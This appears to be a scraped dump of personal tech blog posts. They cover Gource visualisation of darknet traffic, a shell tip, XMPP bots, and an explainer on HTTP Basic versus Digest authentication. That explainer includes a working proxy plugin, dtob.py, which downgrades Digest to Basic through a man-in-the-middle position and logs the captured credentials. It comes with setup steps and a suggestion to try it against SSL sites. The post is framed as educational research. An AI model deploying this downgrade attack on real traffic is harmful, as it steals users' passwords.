provides to us. The setup is pretty simple. There are 13, random /24\u0026rsquo;s (IPV6 coming soon™), sink holed to a box running the Argus server software. Argus provides a set of client tools that you can use to connect to the server and \u0026lsquo;see\u0026rsquo; what is happening, live.\nThis was a golden opportunity to add a parser that would parse the output this client receives into Gource. The result? See for yourself:\n  Moments later, even more activity\u0026hellip; :)\n  The parser will take the Argus client output and split the results of the IPv4 destination address by octet. Each octet will form part of the tree structure. Each bubble represents a port that was touched. Finally, each full destination IP address will get its own unique colour, so it will be easy to see when a specific IP has been scanned across multiple ports. Each user is a source IP address. Remember, this is IP space that is used for nothing other than seeing what is happening on it. So things like people scanning your Darknet for open SSH ports will make your Gource go mad, in a good way ofc.\nThe above screenshots were taken by specifying the --hide dirnames arguments, as we obviously want to try and keep the IP space of the blackhole classified.\nOk, how did you do THAT # Visualising the Argus Darknet with Gource $ ra -S [argus_server]:[argus_port] -n | tee raw | python py2gource.py -t argus | tee parsed | gource --realtime --log-format custom - -1440x900 --bloom-intensity 0.3 --title \u0026#34;Live Darknet Port Activity\u0026#34; -i 30 -f I am going to assume you have the Argus server setup complete, and you are able to connect using the ra client. For more information on setting it up, refer to the Argus wiki here. Which ever machine your using to run Gource on, obviously needs to be able to connect as well.\nThe Argus parser works without specifying any fancy command line options. I have used -n in the example as I did not want to have the destination port names, but the raw port numbers instead. This output is piped into tee, that will write the output to the file raw as well as stdout. This is not a requirement, but its interesting to see what is being parsed. I tail the file in a separate terminal usually and inspect the output. Then the output is passed to py2gource.py with the type set to argus via -t argus. The output generated by this middleware is then finally \u0026lsquo;tee\u0026rsquo;d\u0026rsquo; and sent to Gource, which is configured to accept input in realtime from stdin with --realtime --log-format custom -. The rest of the options I used in the example for Gource is purely graphically related.\nThe file parsed can be seen as a \u0026lsquo;history\u0026rsquo; file that can be piped into Gource again at a later time to replay potentially interesting events, or, if you are not able to connect directly to argus, and need to grab and parse output on one machine, and then replay on another machine with Gource installed.\nGet the code, setup your own. The parser\u0026rsquo;s code is hosted on Github here. Grab the code with git clone https://github.com/leonjza/py2gource.git. Parsers live in lib/Parsers if you are interested in parsing some other interesting information you may have.\nHave fun! :D\n","permalink":"https://leonjza.github.io/blog/2013/07/27/stuff-to-gource./","summary":"\u003ch3 id=\"stuff-to-what\"\u003eStuff to what\u0026hellip;?\u003c/h3\u003e\n\u003cp\u003eNot too long ago, a colleague introduced me to Gource. In case you have not heard of \u003ca href=\"https://code.google.com/p/gource/\"\u003eGource\u003c/a\u003e before, I highly suggest you take a few minutes and check out the project home page \u003ca href=\"https://code.google.com/p/gource/\"\u003ehere\u003c/a\u003e. If you have been developing, or are part of a development project that has been around a while, then Gource should be able to tell you a tale in a strangely mesmerising way about its progression. Go ahead, download and install it. You are going to need it to try the rest of the stuff anyways.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003eBe warned though, watching the output is highly addictive and strangely entertaining, so if you value your productivity, \u003cstrong\u003edon\u0026rsquo;t\u003c/strong\u003e continue reading this post.\u003c/em\u003e\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/gourcelogo.png\"/\u003e \n\u003c/figure\u003e","title":"'stuff' to Gource."},{"content":"Introduction Lets start by saying that I am by no means an expert at any of what I am about to write. Primarily this post is purely for research purposes. Think of it as one of those something to do scenarios. I\u0026rsquo;d like to cover some basics around HTTP Authentication, and then show a PoC of how this can be abused in a real world scenario. Hopefully this will help educate people to use more secure authentication mechanisms! :)\nAuthentication at a HTTP Level HTTP Level authentication, for the most part, rely on a set of headers to authenticate the user. Generally speaking, the server will present the expected authentication mechanism via a WWW-Authenticate header, and expect the client to prepare the correct response back. Each request the user makes after a successful authentication attempt, has to contain the correct headers for the applicable authentication scheme, else the server would normally respond with a 401 - Not Authorised, and the client has to re-authenticate. It is up to the server/application to validate the headers on each request. HTTP level authentication mechanisms include Basic, Digest as well as more complex schemes such as Kerberos, NTLM and OAuth\nIt is important to note that even though you are using say, Digest authentication, it is entirely up to the backend systems to validate the credentials. Whether it is some backend database, RADIUS server, LDAP etc. that stores your valid set of credentials does not matter. The server and the client, on a HTTP level, will be exchanging these headers.\nFor the purpose of this article, I will focus a little on the arguably less complex mechanisms, Basic and Digest.\nHTTP Basic Authentication Basic authentication is considered the least secure method of HTTP authentication. Why is this exactly? Well, the credentials used to authenticate you as a user is sent over the wire in a Base64 encoded string. Base64 is a encoding scheme, and not an encryption scheme [1].\nTo demonstrate this, lets assume we have a website that wants to make use of basic authentication. A sample request header would look like:\nGET /auth/basic/ HTTP/1.1 Host: test.dev Proxy-Connection: keep-alive Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 DNT: 1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8,af;q=0.6 The website, configured to use basic authentication, will see that there is no Authorisation header presented by the client, and respond with a 401, as well as a WWW-Authenticate header.\nHTTP/1.0 401 Unauthorised Date: Tue, 25 Jun 2013 17:33:37 GMT Server: Apache/2.2.22 (Unix) DAV/2 PHP/5.3.15 with Suhosin-Patch mod_ssl/2.2.22 OpenSSL/0.9.8x X-Powered-By: PHP/5.3.15 WWW-Authenticate: Basic realm=\u0026#34;Basic Auth Testing\u0026#34; Content-Length: 39 Connection: close Content-Type: text/html Text to send if user hits Cancel button The response we got when attempting to access the website told us that we need to provide a authentication response first. Based on the WWW-Authenticate header, this mechanism should be Basic for the realm Basic Auth Testing. Don\u0026rsquo;t stress too much about the realm part. In short, this is usually used to give the user a short message like \u0026ldquo;Restricted Area\u0026rdquo; etc. In the authentication dialog that the browser presents, we provide some credentials, and submit them for processing. Your browser now goes and prepares the Authorisation header.\nGET /auth/basic/ HTTP/1.1 Host: test.dev Proxy-Connection: keep-alive Cache-Control: max-age=0 Authorisation: Basic dXNlci5uYW1lOnMzY3IzdFBAc3N3MHJk Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 DNT: 1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8,af;q=0.6 Because my credentials are correct, the server will respond now with a 200 and serve the content. But, lets take a quick step back and check out what is actually in this header. More specifically, check out the Authorisation: Basic dXNlci5uYW1lOnMzY3IzdFBAc3N3MHJk part. This header now needs to be present in every request that is made to the website. If for whatever reason the credentials are no longer valid, the server/application will usually respond with a 401 again, and the authentication will re-occur. The user normally does not have to do anything, as the browser will automatically include the Authorization header in every request.\nOk, so what? So lets take a moment and relook at the Authorisation header. Authorisation: Basic dXNlci5uYW1lOnMzY3IzdFBAc3N3MHJk Lets strip the Authorisation: Basic section and just work with the dXNlci5uYW1lOnMzY3IzdFBAc3N3MHJk. We will echo this, and pipe it through a base64 decoder in a shell session:\n$ echo \u0026#34;dXNlci5uYW1lOnMzY3IzdFBAc3N3MHJk\u0026#34; | base64 -d user.name:s3cr3tP@ssw0rd $ Yup, thats it\u0026hellip;\nIt is now clear to see that for HTTP Basic authentication, the browser will take the credentials that the user has provided, and create the header in the format: Authorisation: Basic + base64(username:password). If you are protecting a non-SSL web resource with this authentication mechanism, you are essentially asking your users to send their credentials unencrypted over the wire to you for every requset.\nHTTP Digest Authentication Digest authentication is considered to be more secure, as it actually applies a hash function to the credentials, before passing the header on to the server. For the sake of brevity, lets assume the server will act in a similar fashion to the Basic Authentication example above, except, the WWW-Authenticate and Authorisation headers are completely different. You are of course welcome to check it out yourself, and I would encourage you do so!\nLets look at an example, and then dig into the details. Requesting a digest protected web resource @/login without a valid Authorisation header, will cause our sample application to respond with a 401 and a WWW-Authenticate header as follows:\nWWW-Authenticate: Digest realm=\u0026#34;test.dev\u0026#34;,qop=\u0026#34;auth\u0026#34;,nonce=\u0026#34;064af982c5b571cea6450d8eda91c20d\u0026#34;,opaque=\u0026#34;d8ea7aa61a1693024c4cc3a516f49b3c\u0026#34; Just as the Basic example, the browser will prompt the user for credentials now and prepare the response. The response then to the server would include the following Authorisation header:\nAuthorisation: Digest username=\u0026#34;user.name\u0026#34;, realm=\u0026#34;test.dev\u0026#34;, nonce=\u0026#34;064af982c5b571cea6450d8eda91c20d\u0026#34;, uri=\u0026#34;/login\u0026#34;, response=\u0026#34;70eda34f1683041fd9ab72056c51b740\u0026#34;, opaque=\u0026#34;d8ea7aa61a1693024c4cc3a516f49b3c\u0026#34;, qop=auth, nc=00000001, cnonce=\u0026#34;61417766e50cb980\u0026#34; Clearly the response here is much more complex when compared to the Basic example. So, lets refer to the Wikipedia Article here, or the official RFC here to help us understand what is going on here.\nAccording to the Wikipedia article, the response Authorisation header for Digest authentication for RFC 2617 is calculated as follows:\n# If the algorithm directive in the WWW-Authenticate header is \u0026#39;MD5\u0026#39; or unspecified ha1 = md5(username : realm : password) # Else, if the algorithm directive is \u0026#39;MD5-Sess\u0026#39;, the nonce and client nonce becomes part of ha1 ha1 = md5(md5(username : realm : password) : nonce : cnonce) # For ha2, if the qop directive is \u0026#39;auth\u0026#39; or unspecified ha2 = md5(method : digestURI) # Else, if the qop directive is \u0026#39;auth-int\u0026#39; # Where entity body is the actual response HTML from the doctype down to the last \u0026lt;/html\u0026gt;. See: http://www.w3.org/Protocols/rfc2616/rfc2616-sec7.html#sec7 ha2 = md5(method : digestURI : md5(entityBody)) # Lastly, for the response, if the qop directive is \u0026#39;auth\u0026#39; or \u0026#39;auth-int\u0026#39; response = md5(ha1 : nonce : nonceCount : clientNonce : qop : ha2) # Else, if qop is unspecified response = md5(ha1 : nonce : ha2) So, lets take this formula, step by step and try and replicate the response Authorisation header in a shell. If one of the WWW-Authenticate headers don\u0026rsquo;t make sense then I\u0026rsquo;ll highly reccomend you read the RFC.\n# Example of Calculating a Digest Authentication Response # header in a shell with a qop of \u0026#34;auth\u0026#34; # Assign some values to variables. These values will come from the above headers qop=\u0026#34;auth\u0026#34; realm=\u0026#34;test.dev\u0026#34; nonce=\u0026#34;064af982c5b571cea6450d8eda91c20d\u0026#34; uri=\u0026#34;/login\u0026#34; cnonce=\u0026#34;61417766e50cb980\u0026#34; nc=\u0026#34;00000001\u0026#34; username=\u0026#34;user.name\u0026#34; # This is what the user enters password=\u0026#34;s3cr3tP@ssw0rd\u0026#34; # This is what the user enters method=\u0026#34;GET\u0026#34; # Start off with calculating ha1. # We do not have the algorithm directive specified, so ha1 is calculated as: $ ha1=`echo -n $username\u0026#34;:\u0026#34;$realm\u0026#34;:\u0026#34;$password | md5` # Confirm that the value is set. $ print $ha1 d5d7ef83a9b3ad5bb0b5201b2bace033 # Next calculate the value of ha2. # Our application presented the qop directive as \u0026#39;auth\u0026#39;, so ha2 is calculated as: $ ha2=`echo -n $method\u0026#34;:\u0026#34;$uri | md5` # Again, confirm that its set. $ print $ha2 315c3fb2f18fd4c6e5a3175e489464ad # With both \u0026#39;ha1\u0026#39; and \u0026#39;ha2\u0026#39; set, we can calculate the response # We have the qop directive specified, so our response is calculated as: $ response=`echo -n $ha1\u0026#34;:\u0026#34;$nonce\u0026#34;:\u0026#34;$nc\u0026#34;:\u0026#34;$cnonce\u0026#34;:\u0026#34;$qop\u0026#34;:\u0026#34;$ha2 | md5` # And did we get the right response? $ print $response 70eda34f1683041fd9ab72056c51b740 70eda34f1683041fd9ab72056c51b740 is the valid response header for this request. Note that the next client request will set nc=00000002 and therefore the response will be different due to this value being part of the response calculation. However, the fact remains that the authorisation is continuously done via header exchanges between the client and the server, relying on the server to validate them.\nIt is also clear that this can not be easily reversed. Even though some attributes that make up the hash function are known, the username and password are at least hashed and factored into the response attribute. It is not impossible, though not as easy as Basic authentication.\nO..K.. so I now get how the Basic vs Digest stuff works, whats next? What if we could make the browser think that the server wants basic authentication, and then capture the encdoded credentials? That would mean we dont need any l33t cracking skeelz or anything. Just a base64 -d.\nDowngrade all the auth! Assuming you are able to get some form of MiTM between the client and the server, by whichever means you use, we can intercept the headers and change them to tell the browser that we actually want basic authentication. Remember, the browser responds based on what the server asks, so if the server only asks for Basic authentication\u0026hellip; :D\n\u0026ldquo;Downgrade\u0026rdquo; attacks are a known flaw in Digest authentication. Where Digest authentication is not necessarily vulnerable to MiTM attacks in the sense that the hash still needs to be cracked, Basic authentication is and therefore such an attack can prove to be valuable to an attacker.\nEnough talk, PoC! Using proxpy, which is a pluggable python proxy server, I wrote a PoC demoing this exact attack. There are a lot of scenarios where this doesn\u0026rsquo;t work very well, but this is only meant to demonstrate the problem.\nThe plugin # dtob.py # Digest to Basic downgrade attack PoC plugin for proxpy (https://code.google.com/p/proxpy/) # # 2013 Leon Jacobs # Licensed under IDC (I don\u0026#39;t Care) license. import base64 import hashlib def headerCleanup(v): # strip annoying bracket things v = v.translate(None, \u0026#34;\u0026#39;[\\\\\u0026#39;\u0026#34;) v = v.translate(None, \u0026#34;\\\\\u0026#39;]\u0026#39;\u0026#34;) # convert it to a list headers = v.split(\u0026#39;, \u0026#39;) return headers def proxy_mangle_request(req): v = str(req.getHeader(\u0026#34;Authorization\u0026#34;)) headers = headerCleanup(v) if \u0026#39;Basic\u0026#39; in headers[0]: print \u0026#34;[*] Basic Auth Response Detected.\u0026#34; credentials = headers[0].split(\u0026#34; \u0026#34;) credentials = base64.b64decode(credentials[1]).split(\u0026#34;:\u0026#34;) print \u0026#34;[!] Found username \u0026#39;%s\u0026#39; and password \u0026#39;%s\u0026#39; for URL %s\u0026#34; % (credentials[0], credentials[1], str(req.url)) if \u0026#39;Digest\u0026#39; in headers[0]: print \u0026#34;[x] Aww, the client responded with a Digest. \\\u0026#34;Were too late!\\\u0026#34;:(\u0026#34; return req def proxy_mangle_response(res): v = str(res.getHeader(\u0026#34;WWW-Authenticate\u0026#34;)) headers = headerCleanup(v) if \u0026#39;Digest\u0026#39; in headers[0]: # Swap out Digest for Basic :\u0026gt; header = str(headers[0]) print \u0026#34;[*] Found digest auth. Masquerading the response with a basic one :\u0026gt;\u0026#34; res.setHeader(\u0026#34;WWW-Authenticate\u0026#34;, \u0026#34;Basic realm=pwnd\u0026#34;) return res Lets get to it.\n  At the core, this authentication downgrade attack PoC leverages off the ability to perform a MiTM between the client and server. How you get this MiTM is out of the scope of this article, but bear in mind that MiTM is not just arp spoofing clients. You could NAT web traffic to your proxy too\u0026hellip; :)\n  Download proxpy and extract it to a working directory.\n  Download and save the plugin from here into the plugins/ directory in your proxpy working directory.\n  Start the proxy, specifying the port you\u0026rsquo;d like it to run on, as well as telling it to load the plugin. A sample command to get this running would be: python proxpy.py -p 8090 -x plugins/dtob.py\n  Ensure that your MiTM is successful, and watch as digest authentication gets downgraded to basic auth, and your credentials echoed to the terminal :P Something like this\u0026hellip;\n    What is the user experience with this? That is a good question. The actual dialog that the user sees, again, is up to the browser to render. Depending on which browser you use on which OS, this may look different. In the back, the client should function normally, blissfully unaware that the headers for stronger authentication were swapped out.\nOn my computer, the authentication dialog has the follow look and feel:\n  Notice the \u0026ldquo;Server Says:\u0026rdquo; Section. This is typically the realm part of the authentication request. When using the dtob.py plugin, it is changed to pwnd. This dialog looks no different when using any form of HTTP based authentication. Hence, when the downgrade attack occurs, the user is unaware that anything different is happening in the background.\nTo wrap it up A few things to note here. Regardless of the HTTP Authentication method used, the client will not know which authentication method is actually being used without inspecting the headers etc. The plugin can technically be written to keep track of which URL\u0026rsquo;s require Digest auth, and prepare valid responses ( like the one we did in the shell ) and present that back to the server. This will make the process completely smooth and the client unaware that something is going on. In the plugins current state, it will just continuously prompt the user for authentication as the proper request with the correct Authorisation header is never sent to the server.\nOn the case of SSL websites it obviously gets a little more tricky. Don\u0026rsquo;t be put off with this. Countless times have I seen where users simply click the \u0026ldquo;proceed anyways\u0026rdquo; button regardless of the certificate validation errors that the browser presents them with. So, even though you will raise alarms on SSL encrypted websites, its still worth a try ^^\n","permalink":"https://leonjza.github.io/blog/2013/06/25/dtob.py-digest-to-basic-authentication-a-simple-example-of-a-authentication-downgrade-attack/","summary":"\u003ch3 id=\"introduction\"\u003eIntroduction\u003c/h3\u003e\n\u003cp\u003eLets start by saying that I am by \u003cem\u003eno\u003c/em\u003e means an expert at any of what I am about to write. Primarily this post is purely for research purposes. Think of it as one of those \u003cem\u003esomething to do\u003c/em\u003e scenarios. I\u0026rsquo;d like to cover some basics around HTTP Authentication, and then show a PoC of how this can be abused in a real world scenario. Hopefully this will help educate people to use more secure authentication mechanisms! :)\u003c/p\u003e","title":"dtob.py: Digest to Basic authentication; A simple example of a authentication 'downgrade' attack"},{"content":"Work clever, not hard This will be the first post of a series of quick shell tips for getting things done, fast. Infact, it will probably just serve as a notepad for me on the topic ;)\nLast shell command If you are using a shell, such as Bash, which is pretty much the default on most Linux distributions, then you probably know that you can just use the up arrow to get the last command. But, if you are using a shell such as Zsh like me, you\u0026rsquo;d quickly come to realise that the global ~/.histfile can be a tad frustrating if you are expecting the last command you typed in that terminal window to appear when you press up. Only to realise, its literally the last command you typed in another shell.\nBang Bang to the rescue! Simply type !! and enter and the last command that was run in that terminal will be either echoed or executed, depending on how your shell is configured to handle the command.\n","permalink":"https://leonjza.github.io/blog/2013/06/23/quick-win-quickly-execute-last-shell-command/","summary":"Work clever, not hard This will be the first post of a series of quick shell tips for getting things done, fast. Infact, it will probably just serve as a notepad for me on the topic ;)\nLast shell command If you are using a shell, such as Bash, which is pretty much the default on most Linux distributions, then you probably know that you can just use the up arrow to get the last command.","title":"Quick Win: Quickly Execute Last Shell Command"},{"content":"So, why would you even want this..? Well, to be honest, I am not really sure of many use cases for this, however maybe someone, somewhere will need to do something like this, and I would have done my deed and saved someone some time :☀:\nIntroducing SleekXMPP SleekXMPP is a python XMPP framework. It takes a bit to get your head around it, but once you have some basics covered its quite a rewarding library to work with. :) To start, you need to install 2 dependencies. Python Mailer and SleekXMPP itself. Something like pip install mailer sleekxmpp or for the older school, easy_install sleekxmpp mailer should do the trick. It can\u0026rsquo;t hurt to check if the distro you use has these are packages already too.\nConfiguration and testing time Once the install completes, do a quick check to see if everything is ok, Try to import the modules. They should return no errors. If they do, check that the installation of the previously mentioned dependencies were successful.\n% python2 Python 2.7.5 (default, May 12 2013, 12:00:47) [GCC 4.8.0 20130502 (prerelease)] on linux2 Type \u0026#34;help\u0026#34;, \u0026#34;copyright\u0026#34;, \u0026#34;credits\u0026#34; or \u0026#34;license\u0026#34; for more information. \u0026gt;\u0026gt;\u0026gt; import sleekxmpp \u0026gt;\u0026gt;\u0026gt; import mailer \u0026gt;\u0026gt;\u0026gt; Next, you need a bot account to use. Provision a user on your jabber server for the bot and test with a jabber client that it works.\nOk, code Next, we take the sample echobot from the SleekXMPP website, and modify it slightly to handle our incoming message by sending a email, instead of simply replying back what we have sent.\nFirst, we import the mailer requirements with:\nfrom mailer import Mailer from mailer import Message The above can be placed right after the option parser has been imported. Then, we only need to change the message method within the EchoBot class really:\n#!/usr/bin/env python # Shameless SleekXMPP modification of the # echobot http://sleekxmpp.com/#here-s-your-first-sleekxmpp-bot if msg[\u0026#39;type\u0026#39;] in (\u0026#39;chat\u0026#39;, \u0026#39;normal\u0026#39;): print \u0026#34;Received Message:\\n%(body)s\u0026#34; % msg # Mail the message Received message = Message(From=\u0026#34;\u0026#39;Jabber Email Service\u0026#39; \u0026lt;someone@domain.com\u0026gt;\u0026#34;, To=[\u0026#34;someone@domain.com\u0026#34;], Subject=\u0026#34;[Jabber Message Received] From: %s\u0026#34; % msg[\u0026#34;from\u0026#34;]) themessage = msg[\u0026#34;body\u0026#34;] themessage = themessage.decode(\u0026#39;unicode_escape\u0026#39;).encode(\u0026#39;ascii\u0026#39;,\u0026#39;ignore\u0026#39;) message.Body = themessage sender = Mailer(\u0026#34;127.0.0.1\u0026#34;) sender.send(message) A complete modified example that includes the above changes:\n#!/usr/bin/env python # -*- coding: utf-8 -*- # Shameless SleekXMPP modification of the # echobot http://sleekxmpp.com/#here-s-your-first-sleekxmpp-bot \u0026#34;\u0026#34;\u0026#34; SleekXMPP: The Sleek XMPP Library Copyright (C) 2010 Nathanael C. Fritz This file is part of SleekXMPP. See the file LICENSE for copying permission. \u0026#34;\u0026#34;\u0026#34; import sys import logging import getpass from optparse import OptionParser from mailer import Mailer from mailer import Message import sleekxmpp # Python versions before 3.0 do not use UTF-8 encoding # by default. To ensure that Unicode is handled properly # throughout SleekXMPP, we will set the default encoding # ourselves to UTF-8. if sys.version_info \u0026lt; (3, 0): reload(sys) sys.setdefaultencoding(\u0026#39;utf8\u0026#39;) else: raw_input = input class EchoBot(sleekxmpp.ClientXMPP): \u0026#34;\u0026#34;\u0026#34; A simple SleekXMPP bot that will echo messages it receives, along with a short thank you message. \u0026#34;\u0026#34;\u0026#34; def __init__(self, jid, password): sleekxmpp.ClientXMPP.__init__(self, jid, password) # The session_start event will be triggered when # the bot establishes its connection with the server # and the XML streams are ready for use. We want to # listen for this event so that we we can initialize # our roster. self.add_event_handler(\u0026#34;session_start\u0026#34;, self.start) # The message event is triggered whenever a message # stanza is received. Be aware that that includes # MUC messages and error messages. self.add_event_handler(\u0026#34;message\u0026#34;, self.message) def start(self, event): \u0026#34;\u0026#34;\u0026#34; Process the session_start event. Typical actions for the session_start event are requesting the roster and broadcasting an initial presence stanza. Arguments: event -- An empty dictionary. The session_start event does not provide any additional data. \u0026#34;\u0026#34;\u0026#34; self.send_presence() self.get_roster() self.nick = \u0026#34;jabberMailBot\u0026#34; def message(self, msg): \u0026#34;\u0026#34;\u0026#34; Process incoming message stanzas. Be aware that this also includes MUC messages and error messages. It is usually a good idea to check the messages\u0026#39;s type before processing or sending replies. Arguments: msg -- The received message stanza. See the documentation for stanza objects and the Message stanza to see how it may be used. \u0026#34;\u0026#34;\u0026#34; if msg[\u0026#39;type\u0026#39;] in (\u0026#39;chat\u0026#39;, \u0026#39;normal\u0026#39;): print \u0026#34;Received Message:\\n%(body)s\u0026#34; % msg # Mail the message Received message = Message(From=\u0026#34;\u0026#39;Jabber Email Service\u0026#39; \u0026lt;someone@domain.com\u0026gt;\u0026#34;, To=[\u0026#34;someone@domain.com\u0026#34;], Subject=\u0026#34;[Jabber Message Received] From: %s\u0026#34; % msg[\u0026#34;from\u0026#34;]) themessage = msg[\u0026#34;body\u0026#34;] themessage = themessage.decode(\u0026#39;unicode_escape\u0026#39;).encode(\u0026#39;ascii\u0026#39;,\u0026#39;ignore\u0026#39;) message.Body = themessage sender = Mailer(\u0026#34;127.0.0.1\u0026#34;) sender.send(message) if __name__ == \u0026#39;__main__\u0026#39;: # Setup the command line arguments. optp = OptionParser() # Output verbosity options. optp.add_option(\u0026#39;-q\u0026#39;, \u0026#39;--quiet\u0026#39;, help=\u0026#39;set logging to ERROR\u0026#39;, action=\u0026#39;store_const\u0026#39;, dest=\u0026#39;loglevel\u0026#39;, const=logging.ERROR, default=logging.INFO) optp.add_option(\u0026#39;-d\u0026#39;, \u0026#39;--debug\u0026#39;, help=\u0026#39;set logging to DEBUG\u0026#39;, action=\u0026#39;store_const\u0026#39;, dest=\u0026#39;loglevel\u0026#39;, const=logging.DEBUG, default=logging.INFO) optp.add_option(\u0026#39;-v\u0026#39;, \u0026#39;--verbose\u0026#39;, help=\u0026#39;set logging to COMM\u0026#39;, action=\u0026#39;store_const\u0026#39;, dest=\u0026#39;loglevel\u0026#39;, const=5, default=logging.INFO) # JID and password options. optp.add_option(\u0026#34;-j\u0026#34;, \u0026#34;--jid\u0026#34;, dest=\u0026#34;jid\u0026#34;, help=\u0026#34;JID to use\u0026#34;) optp.add_option(\u0026#34;-p\u0026#34;, \u0026#34;--password\u0026#34;, dest=\u0026#34;password\u0026#34;, help=\u0026#34;password to use\u0026#34;) opts, args = optp.parse_args() # Setup logging. logging.basicConfig(level=opts.loglevel, format=\u0026#39;%(levelname)-8s%(message)s\u0026#39;) if opts.jid is None: opts.jid = raw_input(\u0026#34;Username: \u0026#34;) if opts.password is None: opts.password = getpass.getpass(\u0026#34;Password: \u0026#34;) # Setup the EchoBot and register plugins. Note that while plugins may # have interdependencies, the order in which you register them does # not matter. xmpp = EchoBot(opts.jid, opts.password) xmpp.register_plugin(\u0026#39;xep_0030\u0026#39;) # Service Discovery xmpp.register_plugin(\u0026#39;xep_0004\u0026#39;) # Data Forms xmpp.register_plugin(\u0026#39;xep_0060\u0026#39;) # PubSub xmpp.register_plugin(\u0026#39;xep_0199\u0026#39;) # XMPP Ping # If you are working with an OpenFire server, you may need # to adjust the SSL version used: # xmpp.ssl_version = ssl.PROTOCOL_SSLv3 # If you want to verify the SSL certificates offered by a server: # xmpp.ca_certs = \u0026#34;path/to/ca/cert\u0026#34; # Connect to the XMPP server and start processing XMPP stanzas. if xmpp.connect(): # If you do not have the dnspython library installed, you will need # to manually specify the name of the server if it does not match # the one in the JID. For example, to use Google Talk you would # need to use: # # if xmpp.connect((\u0026#39;talk.google.com\u0026#39;, 5222)): # ... xmpp.process(block=True) print(\u0026#34;Done\u0026#34;) else: print(\u0026#34;Unable to connect.\u0026#34;) So how do I actually use this thing I just saw? Take the complete example and save it to a file like bot.py. Then, run it! The complete example will echo the message just before it attempts to mail it. You can comment out line 86 to stop this from happening and run the script with the -q argument once you are happy all is working.\n% python bot.py -j \u0026#34;myEmailbot@myJabberServer.local\u0026#34; Password: INFO Negotiating TLS INFO Using SSL version: 3 INFO CERT: Time until certificate expiration: 952 days, 6:46:01.014041 Received Message: This is a test message that will be mailed :D Things to note.  Even though the script allows you to specify a -p argument, I would highly discourage the usage of this. Any person that has access to your machine, be it legitimate or not, would then see your bot\u0026rsquo;s process, with the password in the ps output! Ensure the SMTP server specified in line 96 of the complete example allows yo to relay! Change it if needed.  Test! :D Send your bot a message and see if your mail arrives ^^\nEDIT: Modify the message encoding to ASCII as the utf8 stuff seems to barf out sometimes :|\n","permalink":"https://leonjza.github.io/blog/2013/06/07/jabber-to-email-using-sleekxmpp/","summary":"\u003ch3 id=\"so-why-would-you-even-want-this\"\u003eSo, why would you even want this..?\u003c/h3\u003e\n\u003cp\u003eWell, to be honest, I am not really sure of many use cases for this, however maybe someone, somewhere will need to do something like this, and I would have done my deed and saved someone some time :☀:\u003c/p\u003e\n\u003ch3 id=\"introducing-sleekxmpp\"\u003eIntroducing SleekXMPP\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"http://sleekxmpp.com/\"\u003eSleekXMPP\u003c/a\u003e is a python XMPP framework. It takes a bit to get your head around it, but once you have some basics covered its quite a rewarding library to work with. :) To start, you need to install 2 dependencies. Python Mailer and SleekXMPP itself. Something like \u003ccode\u003epip install mailer sleekxmpp\u003c/code\u003e or for the older school, \u003ccode\u003eeasy_install sleekxmpp mailer\u003c/code\u003e should do the trick. It can\u0026rsquo;t hurt to check if the distro you use has these are packages already too.\u003c/p\u003e","title":"Jabber to Email using SleekXMPP"},{"content":"Bots! Bots! Bots! Generally speaking, a \u0026lsquo;\u0026lsquo;bot\u0026rsquo;\u0026rsquo; is something that like does work for you. But, for this purpose, the need for a jabber bot came from the fact that I had to deal with a lot of email on a daily basis. This large amount of mail sometimes would cause me to completely miss critical mail alerts. Realising later that I could have prevented a catastrophe if I didn\u0026rsquo;t miss that one email was just not on anymore. So, I started investigating ways to get the important stuff delivered faster.\nAs a team at work, we have long gone dropped the whole Skype group chat thing for our own Jabber server. My privacy related concerns back then was recently heightened here when a trap URL received a HEAD request from 65.52.100.214. The user that received the URL in a chat was under strict instructions not to actually click it\u0026hellip;\nSo, how do we do this? We implemented a Openfire Server that was really easy to setup and get going. Whats really nice about this Jabber server is that it supports plugins, some of which you can simply install via the web interface.\nOne such plugin that was installed is called the broadcast plugin. This allows you to broadcast a message to all users on the server or those in defined groups.\n  Once this plugin is installed, some minor configuration is required to allow the broadcasting feature to work. In no way is this an extensive guide on the power of the plugin, but for the purpose of this post well just quickly rush over it.\nHead over to Server -\u0026gt; Server Manager -\u0026gt; System Properties. From here you need to add the fields that are not there with the plugin.broadcast. prefix. Don\u0026rsquo;t worry if they are not there, just add them.\n  The above is just a sample of a working configuration. Feel free to play around more with different setups.\nWith everything configured, you should now be able to send a message to something like all@broadcast.jabber.server. In my configuration, plugin.broadcast.all2offline is set to true. So, when a message is broadcasted and I was offline, I\u0026rsquo;ll receive the broadcast as soon as I\u0026rsquo;m back :)\nIntroducing jabbersend.py With our jabber server now configured and working, we are ready to start automating things. From here we need two things. Something that will broadcast for us, and something to broadcast. The what to broadcast is entirely up to you, as the script will accept a text file to broadcast.\nThe only dependency you probably need to satisfy will be xmpp. This should be easily doable with something like easy_install xmpp\n#!/usr/bin/python import sys,os,xmpp,time # check the received arguments if len(sys.argv) \u0026lt; 2: print \u0026#34;Syntax: jabbersend.py JID textfile\u0026#34; sys.exit(0) # set the values to work with and read the file tojid=sys.argv[1] m = open(sys.argv[2],\u0026#39;r\u0026#39;) array = m.readlines() m.close() msg=\u0026#34;\u0026#34; for record in array: msg = msg + record # configure your jabber account for the bot here. username = \u0026#39;jabber_bot@jabber.server\u0026#39; # from whom will the message be sent password = \u0026#39;jabber_bot_secret_password\u0026#39; jid=xmpp.protocol.JID(username) # for debugging purposes, uncomment the below line so that \u0026#39;debug\u0026#39; is 1. # This makes the script very verbose though, but its helpful if you stuck ^^ #cl=xmpp.Client(jid.getDomain(),debug=1) cl=xmpp.Client(jid.getDomain(),debug=[]) # Sadly I don\u0026#39;t have a valid certificate for my jabber server, so this had to # be set to False. I do however recommend, if you can, to get a valid certificate # and enable this con=cl.connect(secure=False) # Set this to validate the servers certificate. if not con: print \u0026#34;Could not connect\u0026#34; sys.exit() # authenticate the client 